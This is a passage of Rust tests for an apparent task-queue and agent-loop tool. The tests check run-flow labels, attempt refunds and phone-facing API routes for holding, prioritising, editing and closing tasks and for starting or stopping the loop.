10164 "a resume does not prove the earlier pass was refunded"
10165 );
10166 assert!(f.edges[1].label.contains("resume the same run"));
10167 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10168 assert_eq!(
10169 f.edges[2].label,
10170 "stalled after a resume, refund unknown \u{2192} queued"
10171 );
10172 assert!(!f.nodes[2].decided, "a stall is not a decision");
10173 assert_eq!(f.nodes[2].note, Some("no verdict"));
10174 }
10175
10176 #[test]
10177 fn flow_single_pass_quota_stall_is_refunded() {
10178 let t = flow_task(&[FA]);
10179 let f = flow_for(
10180 &t,
10181 &[(
10182 FA,
10183 Some(flow_run(RunStatus::Stalled, |s| {
10184 s.quota.push(crate::run::QuotaLoss {
10185 seat: "judge-1".to_owned(),
10186 node: "judge".to_owned(),
10187 at: Timestamp::now(),
10188 reset: None,
10189 })
10190 })),
10191 )],
10192 );
10193 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10194 }
10195
10196 #[test]
10197 fn flow_parked_refunds_and_stall_without_quota_spends() {
10198 let mut t = flow_task(&[FA]);
10199 t.status = TaskStatus::Queued;
10200 let f = flow_for(
10201 &t,
10202 &[(
10203 FA,
10204 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10205 )],
10206 );
10207 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10208 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10209 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10210 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10211 assert!(!f.nodes[1].decided);
10212 }
10213
10214 #[test]
10215 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10216 let t = flow_task(&[FA, FB]);
10217 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10218 assert_eq!(f.nodes[1].note, Some("unreadable"));
10219 assert!(!f.nodes[1].readable);
10220 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10221 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10222 }
10223
10224 #[test]
10225 fn flow_names_the_branch_of_a_review_only_run() {
10226 let t = flow_task(&[FA]);
10227 let f = flow_for(
10228 &t,
10229 &[(
10230 FA,
10231 Some(flow_run(RunStatus::Merged, |s| {
10232 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10233 })),
10234 )],
10235 );
10236 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10237 assert_eq!(
10238 f.nodes[1].detail.as_deref(),
10239 Some("review-only run of branch magi/x/A")
10240 );
10241 }
10242
10243 #[test]
10244 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10245 let mut t = flow_task(&[FA]);
10246 t.status = TaskStatus::Held;
10247 let pr = crate::run::PrRecord {
10248 url: "https://example.test/pr/1".to_owned(),
10249 number: 1,
10250 state: "open".to_owned(),
10251 checks: "green".to_owned(),
10252 round: 0,
10253 rounds: 3,
10254 red_at_merge: Vec::new(),
10255 };
10256 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10257 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10258 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10259 t.status = TaskStatus::Done;
10260 let f = flow_for(&t, &[(FA, Some(blocked))]);
10261 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10262 }
10263
10264 #[test]
10265 fn flow_with_no_runs_goes_from_queued_to_queued() {
10266 let t = flow_task(&[]);
10267 let f = flow_for(&t, &[]);
10268 assert_eq!(f.nodes.len(), 2);
10269 assert_eq!(f.edges.len(), 1);
10270 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10271 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10272 }
10273
10274 #[test]
10277 fn a_parked_non_terminal_run_is_explained_as_parked() {
10278 let mut s = RunState::new(
10279 PathBuf::from("/repo/magi"),
10280 "main".to_owned(),
10281 "0123456789abcdef".to_owned(),
10282 "Do it".to_owned(),
10283 Config::default(),
10284 );
10285 s.status = RunStatus::Implementing;
10286 s.parked = true;
10287 let task = Task::new(
10288 "t".to_owned(),
10289 "Do it".to_owned(),
10290 PathBuf::from("/repo/magi"),
10291 Source::Human,
10292 );
10293 let v = task_run_view(
10294 "20260902-140501-aaaa",
10295 Some(&s),
10296 RunSlot {
10297 n: 1,
10298 resumed: false,
10299 resumed_later: None,
10300 prior: None,
10301 last: true,
10302 },
10303 &task,
10304 );
10305 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10306 }
10307
10308 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10309 let mut s = flow_run(RunStatus::Implementing, edit);
10310 s.parked = false;
10311 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10312 task_run_view(
10313 "20260902-140501-aaaa",
10314 Some(&s),
10315 RunSlot {
10316 n: 1,
10317 resumed: false,
10318 resumed_later: Some(2),
10319 prior: None,
10320 last: false,
10321 },
10322 &task,
10323 )
10324 }
10325
10326 #[test]
10327 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10328 let v = earlier_pass_view(|_| {});
10329 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10330 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10331 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10332 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10333 assert_eq!(v.exit, RunExit::Interrupted);
10334 assert_eq!(v.attempt, AttemptCost::Unknown);
10335 }
10336
10337 #[test]
10338 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10339 let v = earlier_pass_view(|s| {
10340 s.quota.push(crate::run::QuotaLoss {
10341 seat: "judge-1".to_owned(),
10342 node: "judge".to_owned(),
10343 at: Timestamp::now(),
10344 reset: None,
10345 });
10346 });
10347 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10348 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10349 assert_eq!(v.attempt, AttemptCost::Unknown);
10350 }
10351
10352 #[test]
10353 fn the_current_pass_states_its_recorded_cause_and_cost() {
10354 let slot = || RunSlot {
10355 n: 1,
10356 resumed: false,
10357 resumed_later: None,
10358 prior: None,
10359 last: true,
10360 };
10361 let task = flow_task(&["20260902-140501-aaaa"]);
10362 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10363 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10364 assert_eq!(
10365 (v.exit, v.attempt),
10366 (RunExit::Parked, AttemptCost::Refunded)
10367 );
10368 let spent = flow_run(RunStatus::Blocked, |_| {});
10369 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10370 assert_eq!(v.attempt, AttemptCost::Spent);
10371 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10372 }
10373
10374 #[tokio::test]
10375 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10376 let f = Fixture::start().await;
10377 let queue = f.queue();
10378 let mut task = Task::new(
10379 "spent".to_owned(),
10380 "Try again".to_owned(),
10381 PathBuf::from("/repo/magi"),
10382 Source::Human,
10383 );
10384 task.start("20260902-140502-bbbb".to_owned());
10385 task.fail("agent gave up", 9);
10386 queue.put(&mut task).expect("file the task");
10387
10388 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10389 assert_eq!(held.status, 200);
10390 assert_eq!(held.json()["status_str"], "held");
10391
10392 let released = f
10393 .post(&format!("/api/queue/{}/release", task.id), None)
10394 .await;
10395 assert_eq!(released.status, 200);
10396 assert_eq!(released.json()["status_str"], "queued");
10397 assert_eq!(
10398 released.json()["attempts"],
10399 0,
10400 "release is a real second chance, not an instant re-hold"
10401 );
10402 assert_eq!(
10403 queue.get(&task.id).expect("reload").status,
10404 TaskStatus::Queued,
10405 "the change is on disk, not only in the reply"
10406 );
10407 assert!(
10408 !f.home
10409 .path()
10410 .join("queue")
10411 .join(format!("{}.lock", task.id))
10412 .exists(),
10413 "the claim the mutation took is released again"
10414 );
10415 }
10416
10417 #[tokio::test]
10418 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10419 let f = Fixture::start().await;
10420 let queue = f.queue();
10421 let mut task = Task::new(
10422 "busy".to_owned(),
10423 "Running right now".to_owned(),
10424 PathBuf::from("/repo/magi"),
10425 Source::Human,
10426 );
10427 queue.put(&mut task).expect("file the task");
10428 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10429
10430 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10431
10432 assert_eq!(res.status, 409);
10433 assert_eq!(
10434 queue.get(&task.id).expect("reload").status,
10435 TaskStatus::Queued,
10436 "the refused hold changed nothing"
10437 );
10438 }
10439
10440 #[tokio::test]
10441 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10442 let f = Fixture::start().await;
10443 let queue = f.queue();
10444 let mut task = Task::new(
10445 "waiting on the migration".to_owned(),
10446 "Do the thing".to_owned(),
10447 PathBuf::from("/repo/magi"),
10448 Source::Human,
10449 );
10450 queue.put(&mut task).expect("file the task");
10451
10452 let held = f
10453 .post(
10454 &format!("/api/queue/{}/hold", task.id),
10455 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10456 )
10457 .await;
10458 assert_eq!(held.status, 200, "{}", held.body);
10459 assert_eq!(held.json()["status_str"], "held");
10460 assert_eq!(
10461 held.json()["hold_reason"],
10462 "waiting for 20260101-000000-aaaa to land"
10463 );
10464
10465 let listed = f.get("/api/queue").await.json();
10466 assert_eq!(
10467 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10468 "the card reads the reason off the same list route"
10469 );
10470
10471 let mut plain = Task::new(
10474 "no reason given".to_owned(),
10475 "Do another thing".to_owned(),
10476 PathBuf::from("/repo/magi"),
10477 Source::Human,
10478 );
10479 queue.put(&mut plain).expect("file the task");
10480 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10481 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10482 assert!(held_plain.json()["hold_reason"].is_null());
10483
10484 let released = f
10485 .post(&format!("/api/queue/{}/release", task.id), None)
10486 .await;
10487 assert_eq!(released.status, 200);
10488 assert!(
10489 released.json()["hold_reason"].is_null(),
10490 "a release must clear the reason so the next hold does not inherit it"
10491 );
10492 }
10493
10494 #[tokio::test]
10495 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10496 let f = Fixture::start().await;
10497 let queue = f.queue();
10498 let mut older = Task::new(
10499 "filed first".to_owned(),
10500 "x".to_owned(),
10501 PathBuf::from("/repo/magi"),
10502 Source::Human,
10503 );
10504 older.id = "20260101-000001-aaaa".to_owned();
10505 let mut newer = Task::new(
10506 "filed second".to_owned(),
10507 "x".to_owned(),
10508 PathBuf::from("/repo/magi"),
10509 Source::Human,
10510 );
10511 newer.id = "20260101-000002-bbbb".to_owned();
10512 queue.put(&mut older).expect("file older");
10513 queue.put(&mut newer).expect("file newer");
10514
10515 let before = f.get("/api/queue").await.json();
10518 assert_eq!(before[0]["id"], newer.id);
10519 assert_eq!(before[1]["id"], older.id);
10520
10521 let raised = f
10525 .post(
10526 &format!("/api/queue/{}/priority", older.id),
10527 Some(r#"{"priority":10}"#),
10528 )
10529 .await;
10530 assert_eq!(raised.status, 200, "{}", raised.body);
10531 assert_eq!(raised.json()["priority"], 10);
10532
10533 let after = f.get("/api/queue").await.json();
10534 let names: Vec<&str> = after
10535 .as_array()
10536 .unwrap()
10537 .iter()
10538 .map(|t| t["id"].as_str().unwrap())
10539 .collect();
10540 assert_eq!(names[0], older.id, "the raised task now sorts first");
10544 }
10545
10546 #[tokio::test]
10547 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10548 let f = Fixture::start().await;
10549 let queue = f.queue();
10550 let mut task = Task::new(
10551 "in flight".to_owned(),
10552 "x".to_owned(),
10553 PathBuf::from("/repo/magi"),
10554 Source::Human,
10555 );
10556 task.start("20260902-140502-bbbb".to_owned());
10557 queue.put(&mut task).expect("file the task");
10558
10559 let res = f
10560 .post(
10561 &format!("/api/queue/{}/priority", task.id),
10562 Some(r#"{"priority":9}"#),
10563 )
10564 .await;
10565 assert_eq!(res.status, 400, "{}", res.body);
10566 assert!(
10567 res.json()["error"]
10568 .as_str()
10569 .is_some_and(|e| e.contains("running")),
10570 "{}",
10571 res.body
10572 );
10573 assert_eq!(
10574 queue.get(&task.id).expect("reload").priority,
10575 0,
10576 "the refused write must not partially apply"
10577 );
10578 }
10579
10580 #[tokio::test]
10581 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10582 let f = Fixture::start().await;
10583 let queue = f.queue();
10584 let mut task = Task::new(
10585 "old title".to_owned(),
10586 "old instruction".to_owned(),
10587 PathBuf::from("/repo/magi"),
10588 Source::Agent {
10589 run: "20260101-000000-beef".to_owned(),
10590 node: "implement".to_owned(),
10591 },
10592 );
10593 task.runs.push("20260101-000000-beef".to_owned());
10594 queue.put(&mut task).expect("file the task");
10595 let created_at = task.created_at;
10596
10597 let edited = f
10598 .post(
10599 &format!("/api/queue/{}/edit", task.id),
10600 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10601 )
10602 .await;
10603 assert_eq!(edited.status, 200, "{}", edited.body);
10604 let body = edited.json();
10605 assert_eq!(body["title"], "new title");
10606 assert_eq!(body["instruction"], "new instruction");
10607 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10608 assert_eq!(body["created_at"], created_at.to_string());
10609 assert_eq!(
10610 body["source"]["kind"], "agent",
10611 "editing a task an agent filed must not turn it human: {body}"
10612 );
10613 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10614
10615 let reloaded = queue.get(&task.id).expect("reload");
10616 assert_eq!(reloaded.title, "new title");
10617 assert_eq!(reloaded.instruction, "new instruction");
10618 }
10619
10620 #[tokio::test]
10621 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10622 let tmp = TempDir::new().expect("tempdir");
10625 let repo = tmp.path().join("repo");
10626 std::fs::create_dir_all(&repo).expect("repo dir");
10627 let judge = MOCK_AGENT_TOML.replace(
10628 "printf ok",
10629 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10630 );
10631 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10632 let f = Fixture::with_repo(repo.clone()).await;
10633 let queue = f.queue();
10634 let mut owner = Task::new(
10635 "owner".to_owned(),
10636 "review it".to_owned(),
10637 repo.clone(),
10638 Source::Human,
10639 );
10640 owner.review_branch = Some("magi/ab12/A".to_owned());
10641 queue.put(&mut owner).expect("file the owner");
10642 let mut task = Task::new(
10643 "draft".to_owned(),
10644 "old".to_owned(),
10645 repo.clone(),
10646 Source::Human,
10647 );
10648 queue.put(&mut task).expect("file the draft");
10649 let url = format!("/api/queue/{}/edit", task.id);
10650
10651 let refused = f
10652 .post(
10653 &url,
10654 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10655 )
10656 .await;
10657 assert_eq!(refused.status, 409, "{}", refused.body);
10658 let msg = refused.json()["error"]
10659 .as_str()
10660 .unwrap_or_default()
10661 .to_owned();
10662 assert!(
10663 msg.contains("magi/ab12/A") && msg.contains("force"),
10664 "{msg}"
10665 );
10666 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10667
10668 let forced = f
10669 .post(
10670 &url,
10671 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10672 )
10673 .await;
10674 assert_eq!(forced.status, 200, "{}", forced.body);
10675 }
10676
10677 #[tokio::test]
10678 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10679 let f = Fixture::start().await;
10680 let queue = f.queue();
10681 let mut task = Task::new(
10682 "in flight".to_owned(),
10683 "do not touch".to_owned(),
10684 PathBuf::from("/repo/magi"),
10685 Source::Human,
10686 );
10687 task.start("20260902-140502-bbbb".to_owned());
10688 queue.put(&mut task).expect("file the task");
10689
10690 let res = f
10691 .post(
10692 &format!("/api/queue/{}/edit", task.id),
10693 Some(r#"{"title":"x","instruction":"y"}"#),
10694 )
10695 .await;
10696 assert_eq!(res.status, 400, "{}", res.body);
10697 assert!(
10698 res.json()["error"]
10699 .as_str()
10700 .is_some_and(|e| e.contains("running")),
10701 "{}",
10702 res.body
10703 );
10704 assert_eq!(
10705 queue.get(&task.id).expect("reload").instruction,
10706 "do not touch",
10707 "the refused edit must not change the file"
10708 );
10709 }
10710
10711 #[tokio::test]
10712 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10713 let f = Fixture::start().await;
10714 let queue = f.queue();
10715 let mut task = Task::new(
10716 "busy".to_owned(),
10717 "Running right now".to_owned(),
10718 PathBuf::from("/repo/magi"),
10719 Source::Human,
10720 );
10721 queue.put(&mut task).expect("file the task");
10722 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10723
10724 let priority = f
10725 .post(
10726 &format!("/api/queue/{}/priority", task.id),
10727 Some(r#"{"priority":9}"#),
10728 )
10729 .await;
10730 assert_eq!(priority.status, 409, "{}", priority.body);
10731
10732 let edit = f
10733 .post(
10734 &format!("/api/queue/{}/edit", task.id),
10735 Some(r#"{"title":"x","instruction":"y"}"#),
10736 )
10737 .await;
10738 assert_eq!(edit.status, 409, "{}", edit.body);
10739 }
10740
10741 #[tokio::test]
10742 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10743 let f = Fixture::start().await;
10744 let queue = f.queue();
10745 let mut task = Task::new(
10746 "shipped by hand".to_owned(),
10747 "merged outside the loop".to_owned(),
10748 PathBuf::from("/repo/magi"),
10749 Source::Agent {
10750 run: "20260101-000000-b455".to_owned(),
10751 node: "implement".to_owned(),
10752 },
10753 );
10754 task.runs.push("20260101-000000-b455".to_owned());
10755 task.runs.push("20260101-000000-9af4".to_owned());
10756 queue.put(&mut task).expect("file the task");
10757 let created_at = task.created_at;
10758
10759 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10760 assert_eq!(done.status, 200, "{}", done.body);
10761 assert_eq!(done.json()["status_str"], "done");
10762
10763 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10764 assert_eq!(
10765 reloaded.runs,
10766 ["20260101-000000-b455", "20260101-000000-9af4"]
10767 );
10768 assert_eq!(
10769 reloaded.source,
10770 Source::Agent {
10771 run: "20260101-000000-b455".to_owned(),
10772 node: "implement".to_owned(),
10773 }
10774 );
10775 assert_eq!(reloaded.created_at, created_at);
10776 }
10777
10778 #[tokio::test]
10779 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10780 let f = Fixture::start().await;
10785 let queue = f.queue();
10786 let mut task = Task::new(
10787 "landed while held".to_owned(),
10788 "x".to_owned(),
10789 PathBuf::from("/repo/magi"),
10790 Source::Human,
10791 );
10792 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10793 queue.put(&mut task).expect("file the held task");
10794
10795 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10796 assert_eq!(done.status, 200, "{}", done.body);
10797 assert_eq!(done.json()["status_str"], "done");
10798 assert!(
10799 done.json()["hold_reason"].is_null(),
10800 "a done task cannot still be waiting on something: {}",
10801 done.body
10802 );
10803 }
10804
10805 #[tokio::test]
10806 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10807 let f = Fixture::start().await;
10812 let queue = f.queue();
10813 let runs = f.runs();
10814 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10815 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10819
10820 let mut task = Task::new(
10821 "landed by hand".to_owned(),
10822 "x".to_owned(),
10823 PathBuf::from("/repo/magi"),
10824 Source::Human,
10825 );
10826 task.runs.push("20260101-000000-doa1".to_owned());
10827 task.runs.push("20260101-000000-doa2".to_owned());
10828 queue.put(&mut task).expect("file the task");
10829
10830 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10831 assert_eq!(done.status, 200, "{}", done.body);
10832
10833 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10834 .expect("run still on disk under this fixture's own home");
10835 assert_eq!(
10836 reloaded_run.status,
10837 RunStatus::Superseded,
10838 "closing the task by hand must relabel the earlier blocked attempt exactly \
10839 like the loop's own settle path does"
10840 );
10841 }
10842
10843 #[tokio::test]
10844 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10845 let f = Fixture::start().await;
10850 let queue = f.queue();
10851 let runs = f.runs();
10852 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10853 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10854
10855 let mut task = Task::new(
10856 "closed with nothing actually landed".to_owned(),
10857 "x".to_owned(),
10858 PathBuf::from("/repo/magi"),
10859 Source::Human,
10860 );
10861 task.runs.push("20260101-000000-dob1".to_owned());
10862 task.runs.push("20260101-000000-dob2".to_owned());
10863 queue.put(&mut task).expect("file the task");
10864
10865 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10866 assert_eq!(done.status, 200, "{}", done.body);
10867
10868 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10869 .expect("run still on disk under this fixture's own home");
10870 assert_eq!(
10871 reloaded_run.status,
10872 RunStatus::Blocked,
10873 "the last recorded attempt never landed, so the earlier one must not be \
10874 relabelled as superseded by it"
10875 );
10876 }
10877
10878 #[tokio::test]
10879 async fn unknown_ids_are_json_not_found_on_both_stores() {
10880 let f = Fixture::start().await;
10881
10882 let run = f.get("/api/runs/nosuchrun").await;
10883 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10884
10885 assert_eq!(run.status, 404);
10886 assert_eq!(task.status, 404);
10887 assert!(
10888 run.json()["error"]
10889 .as_str()
10890 .is_some_and(|e| e.contains("run")),
10891 "the error names what was not found: {}",
10892 run.body
10893 );
10894 assert!(
10895 task.json()["error"]
10896 .as_str()
10897 .is_some_and(|e| e.contains("task")),
10898 "the error names what was not found: {}",
10899 task.body
10900 );
10901 }
10902
10903 #[tokio::test]
10904 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10905 let f = Fixture::start().await;
10906
10907 let missing = f.get("/api/health").await.json();
10908 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10909
10910 write_daemon(
10911 f.home.path(),
10912 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10913 );
10914 let stale = f.get("/api/health").await.json();
10915 assert_eq!(
10916 stale["daemon"]["running"], false,
10917 "a minute without a heartbeat is a dead daemon, not a busy one"
10918 );
10919 assert!(
10920 stale["daemon"]["stale_for_secs"]
10921 .as_i64()
10922 .is_some_and(|s| s >= 55),
10923 "staleness is reported so the UI can say how long: {stale}"
10924 );
10925
10926 write_daemon(f.home.path(), Timestamp::now());
10927 let fresh = f.get("/api/health").await.json();
10928 assert_eq!(fresh["daemon"]["running"], true);
10929 assert_eq!(fresh["daemon"]["idle"], false);
10930 assert_eq!(fresh["daemon"]["pid"], 4242);
10931 assert_eq!(fresh["daemon"]["completed"], 7);
10932 assert_eq!(
10933 fresh["daemon"]["current"][0]["task"],
10934 "20260902-140501-aaaa"
10935 );
10936 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10937 }
10938
10939 #[tokio::test]
10940 async fn the_loop_is_not_running_until_something_starts_it() {
10941 let f = Fixture::start().await;
10942
10943 let view = f.get("/api/loop").await.json();
10944 assert_eq!(view["running"], false);
10945 assert_eq!(
10946 view["owned"], false,
10947 "nobody owns a loop that does not exist: {view}"
10948 );
10949 assert_eq!(view["stopping"], false);
10950 assert_eq!(view["last_error"], Value::Null);
10951 assert_eq!(view["daemon"]["running"], false);
10952 assert_eq!(
10953 view["repo"], "/repo/magi",
10954 "the repository a start would use, named before it is started"
10955 );
10956 }
10957
10958 #[tokio::test]
10959 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10960 let f = Fixture::start().await;
10961
10962 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10963 assert_eq!(res.status, 200, "{}", res.body);
10964 let view = res.json();
10965 assert_eq!(view["running"], true);
10966 assert_eq!(
10967 view["owned"], true,
10968 "the loop the UI started is the UI's own to stop: {view}"
10969 );
10970 assert_eq!(
10971 view["merge"],
10972 Value::Null,
10973 "no override was given, so each repository's own config decides"
10974 );
10975
10976 let health = f.get("/api/health").await.json();
10980 assert_eq!(health["loop"]["running"], true, "{health}");
10981 assert_eq!(health["loop"]["owned"], true, "{health}");
10982
10983 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10984 }
10985
10986 #[tokio::test]
10987 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10988 let f = Fixture::start().await;
10989 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10990 assert_eq!(first.status, 200, "{}", first.body);
10991
10992 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10993 assert_eq!(
10994 again.status, 409,
10995 "two loops on one queue race for the same claims: {}",
10996 again.body
10997 );
10998 assert!(
10999 again.json()["error"]
11000 .as_str()
11001 .is_some_and(|e| e.contains("already running the loop")),
11002 "the refusal has to say why: {}",
11003 again.body
11004 );
11005 assert_eq!(
11006 f.get("/api/loop").await.json()["running"],
11007 true,
11008 "and the loop that was already running is untouched by it"
11009 );
11010
11011 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11012 }
11013
11014 #[tokio::test]
11015 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11016 let f = Fixture::start().await;
11017 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11018
11019 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11020 assert_eq!(
11021 res.status, 200,
11022 "the answer must not wait for the loop: a run in flight is tens of \
11023 minutes and the operator is holding a phone: {}",
11024 res.body
11025 );
11026
11027 let view = settled(&f, |v| v["running"] == false).await;
11028 assert_eq!(view["owned"], false);
11029 assert_eq!(
11030 view["stopping"], false,
11031 "a loop that has stopped is not still stopping: {view}"
11032 );
11033 assert_eq!(
11034 view["last_error"],
11035 Value::Null,
11036 "a loop that was asked to stop did not fail: {view}"
11037 );
11038
11039 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11042 assert_eq!(twice.status, 200, "{}", twice.body);
11043 }
11044
11045 #[tokio::test]
11046 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11047 let f = Fixture::start().await;
11048 write_daemon(f.home.path(), Timestamp::now());
11051
11052 let view = f.get("/api/loop").await.json();
11053 assert_eq!(view["running"], false, "not in this process: {view}");
11054 assert_eq!(view["owned"], false, "and not this process's to control");
11055 assert_eq!(
11056 view["daemon"]["running"], true,
11057 "but a loop is alive somewhere, which is what the UI must say"
11058 );
11059 assert_eq!(view["daemon"]["pid"], 4242);
11060
11061 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11062 let res = f.post("/api/loop", Some(body)).await;
11063 assert_eq!(
11064 res.status, 409,
11065 "neither button may pretend to work on someone else's loop: {}",
11066 res.body
11067 );
11068 assert!(
11069 res.json()["error"]
11070 .as_str()
11071 .is_some_and(|e| e.contains("4242")),
11072 "the refusal has to name the process the operator must go to: {}",
11073 res.body
11074 );
11075 }
11076 assert_eq!(
11077 f.get("/api/loop").await.json()["running"],
11078 false,
11079 "and the refusal started nothing"
11080 );
11081 }
11082
11083 #[tokio::test]
11084 async fn a_stale_status_file_is_not_a_foreign_owner() {
11085 let f = Fixture::start().await;
11086 write_daemon(
11087 f.home.path(),
11088 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11089 );
11090
11091 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11092 assert_eq!(
11093 res.status, 200,
11094 "a daemon killed a minute ago must not lock the loop out of its \
11095 own home for good: {}",
11096 res.body
11097 );
11098 assert_eq!(res.json()["running"], true);
11099
11100 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11101 }
11102
11103 #[tokio::test]
11104 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11105 let f = Fixture::start().await;
11106 let before = f.get("/api/health").await.json()["loop_rev"]
11107 .as_u64()
11108 .expect("a loop revision");
11109
11110 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11111
11112 let after = f.get("/api/health").await.json()["loop_rev"]
11113 .as_u64()
11114 .expect("a loop revision");
11115 assert!(
11116 after > before,
11117 "the loop is in-process state, so this counter is the only thing \
11118 that tells a second device the first one started it: {before} -> \
11119 {after}"
11120 );
11121
11122 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11123 }
11124
11125 #[tokio::test]
11126 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11127 let f = Fixture::with_loop(launch_broken).await;
11128
11129 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11130 assert_eq!(
11131 res.status, 200,
11132 "starting it is not the failure: {}",
11133 res.body
11134 );
11135
11136 let view = settled(&f, |v| v["last_error"].is_string()).await;
11137 assert_eq!(
11138 view["running"], false,
11139 "a loop that died must not read as running, or the operator has \
11140 nothing to press: {view}"
11141 );
11142 assert_eq!(view["owned"], false);
11143 assert!(
11144 view["last_error"]
11145 .as_str()
11146 .is_some_and(|e| e.contains("read-only file system")),
11147 "the phone is where a loop that died at 3am is visible: {view}"
11148 );
11149
11150 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11153 assert_eq!(again.status, 200, "{}", again.body);
11154 assert!(
11155 again.json()["last_error"]
11156 .as_str()
11157 .is_none_or(|e| !e.contains("read-only file system")),
11158 "a fresh start does not keep showing why the last one died: {}",
11159 again.body
11160 );
11161 }
11162
